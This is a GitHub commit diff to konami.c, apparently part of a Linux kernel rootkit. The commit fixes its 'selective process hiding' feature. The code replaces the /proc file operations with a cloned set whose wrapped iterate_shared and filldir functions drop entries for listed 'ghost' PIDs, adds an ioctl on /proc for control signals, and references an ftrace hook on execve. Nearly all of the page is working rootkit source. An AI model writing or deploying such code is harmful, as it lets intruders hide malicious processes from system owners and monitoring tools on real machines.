Skip to content

Commit

Permalink
Fix selective process hiding
Browse files Browse the repository at this point in the history
All processes were being hidden instead of the intended list of
processes.
  • Loading branch information
chase committed Nov 12, 2018
1 parent f742ea2 commit 9f2a567
Showing 1 changed file with 35 additions and 22 deletions.
57 changes: 35 additions & 22 deletions konami.c
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,11 @@ static asmlinkage long
const char __user *const __user *argv,
const char __user *const __user *envp);

// Pointer to original /proc fop->iterate_shared
// Signature based on <linux/fs.h>
static asmlinkage int
(*original_iterate_shared)(struct file *file, struct dir_context *ctx);

// ftrace options (includes handler)
static struct ftrace_ops execve_ops;

Expand Down Expand Up @@ -173,7 +178,7 @@ static const struct file_operations *original_proc_fop;
// Original /proc ctx
static struct dir_context *original_proc_ctx;
// Mutated /proc fops
static struct file_operations proc_fop;
static struct file_operations *proc_fop;

// Wrapped /proc filldir that ignores Ghost PIDs
static int
Expand All @@ -182,39 +187,37 @@ proc_filldir(struct dir_context *ctx, const char *name, int namlen,
{
int error, i;
unsigned long pid;
if ((error = kstrtoul(name, 10, &pid)))
{
pr_debug("pr_fd - failed to convert to int\n");
return error;
}
error = kstrtoul(name, 10, &pid);

for (i = 0; i < 4; i++)
if (!error) // Have PID
{
if (ghost_pids[i] == pid)
for (i = 0; i < 4; i++)
{
return 0; // Finish before entry is returned
if (ghost_pids[i] == pid)
{
return 0; // Finish before entry is returned
}
}
}

// Call original filldir
return original_proc_ctx->actor(ctx, name, namlen, offset, ino, d_type);
return original_proc_ctx->actor(original_proc_ctx, name, namlen,
offset, ino, d_type);
}

// Wrapped /proc iterate_shared that calls wrapped proc_fill_dir
static int
proc_iterate_shared(struct file *file, struct dir_context *ctx)
{
int error;
struct dir_context proc_ctx = {
.actor = proc_filldir,
.pos = ctx->pos
static struct dir_context proc_ctx = {
.actor = proc_filldir
};

proc_ctx.pos = ctx->pos;
original_proc_ctx = ctx; // Store pointer to original for wrapper

error = original_proc_fop->iterate_shared(file, &proc_ctx);
ctx->pos = proc_ctx.pos; // Update next position from result

error = original_iterate_shared(file, &proc_ctx);
ctx->pos = proc_ctx.pos;
return error;
}

Expand Down Expand Up @@ -264,7 +267,7 @@ unhide_pid(unsigned long pid)
}

// No ghosts remaining, restore to normal
restore();
//restore();
}

// ioctl on /proc, receives signals from manpac
Expand Down Expand Up @@ -298,11 +301,17 @@ install_proc_fop(void)
}

original_proc_fop = path.dentry->d_inode->i_fop; // Pointer to original /proc fop
proc_fop = *original_proc_fop; // Clone original /proc fop
proc_fop.iterate_shared = proc_iterate_shared; // Wrap /proc iterate_shared
proc_fop.unlocked_ioctl = proc_ioctl; // Add ioctl to /proc
original_iterate_shared = original_proc_fop->iterate_shared; // Pointer to original iterate_shared
proc_fop = kmemdup(original_proc_fop, sizeof(struct file_operations), GFP_KERNEL); // Clone original /proc fop
if (!proc_fop)
{
pr_debug("pr_fop i - failed to clone /proc fop");
return;
}
proc_fop->iterate_shared = proc_iterate_shared; // Wrap /proc iterate_shared
proc_fop->unlocked_ioctl = proc_ioctl; // Add ioctl to /proc

path.dentry->d_inode->i_fop = &proc_fop; // Install fop
path.dentry->d_inode->i_fop = proc_fop; // Install fop
}

// Restores fops on /proc
Expand All @@ -317,6 +326,10 @@ restore_proc_fop(void)
}

path.dentry->d_inode->i_fop = original_proc_fop; // Restore fop

if (proc_fop) { // Free cloned /proc fop
kfree(proc_fop);
}
}

/* Install/Restore */
Expand Down

0 comments on commit 9f2a567

Please sign in to comment.